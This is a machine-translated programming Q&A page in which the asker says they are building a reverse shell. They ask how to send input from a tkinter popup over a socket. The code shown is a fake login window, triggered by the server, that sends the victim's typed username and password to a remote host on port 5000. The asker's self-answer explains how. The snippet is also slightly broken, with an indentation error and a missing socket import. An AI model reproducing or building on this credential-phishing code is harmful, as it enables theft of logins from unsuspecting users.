Python 通过套接字从tkinter发送输入

Python 通过套接字从tkinter发送输入,python,shell,sockets,tkinter,reverse,Python,Shell,Sockets,Tkinter,Reverse,这是一个简单的GUI程序,我希望能够通过我的反向shell中的套接字发送用户输入,但我有点为难。任何帮助都将不胜感激:) 是的,我自己回答了,很简单,我的大脑一定只是有片刻的时间lol,对于任何想知道如何做到这一点的人,username.entry1.get()和password.entry2.get(),你像平常一样在套接字中发送它:) 您所说的发送用户输入是什么意思?从GUI到服务器?从外部程序到GUI?是的,客户端有弹出式GUI,由服务器的命令激活,客户端在输入字段中输入用户名、密码,并将

这是一个简单的GUI程序,我希望能够通过我的反向shell中的套接字发送用户输入,但我有点为难。任何帮助都将不胜感激:)


是的,我自己回答了,很简单,我的大脑一定只是有片刻的时间lol,对于任何想知道如何做到这一点的人,username.entry1.get()和password.entry2.get(),你像平常一样在套接字中发送它:)


您所说的发送用户输入是什么意思?从GUI到服务器?从外部程序到GUI?是的,客户端有弹出式GUI,由服务器的命令激活,客户端在输入字段中输入用户名、密码,并将其发送到服务器。这是我目前正在制作的反面外壳的一部分
from tkinter import *
import tkinter.messagebox as box

def dialog1():
username=entry1.get()
    password = entry2.get()
    if (username == 'admin' and  password == 'secret'):
        box.showinfo('info','Correct Login')
    else:
        box.showinfo('info','Invalid Login')


window = Tk()
window.title('Countries Generation')

frame = Frame(window)

Label1 = Label(window,text = 'Username:')
Label1.pack(padx=15,pady= 5)

entry1 = Entry(window,bd =5)
entry1.pack(padx=15, pady=5)


Label2 = Label(window,text = 'Password: ')
Label2.pack(padx = 15,pady=6)

entry2 = Entry(window, bd=5)
entry2.pack(padx = 15,pady=7)


btn = Button(frame, text = 'Check Login',command = dialog1)


btn.pack(side = RIGHT , padx =5)
frame.pack(padx=100,pady = 19)
window.mainloop()
host = 'xxx.xxx.xx.x'
port = 5000

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))


def dialog1():
    username=entry1.get()
    password = entry2.get()
    if (username == 'admin' and  password == 'secret'):
        box.showinfo('info','Correct Login')
        s.send(bytes(username,'utf8'))
        s.send(bytes(password, 'utf8'))

    else:
        box.showinfo('info','Invalid Login')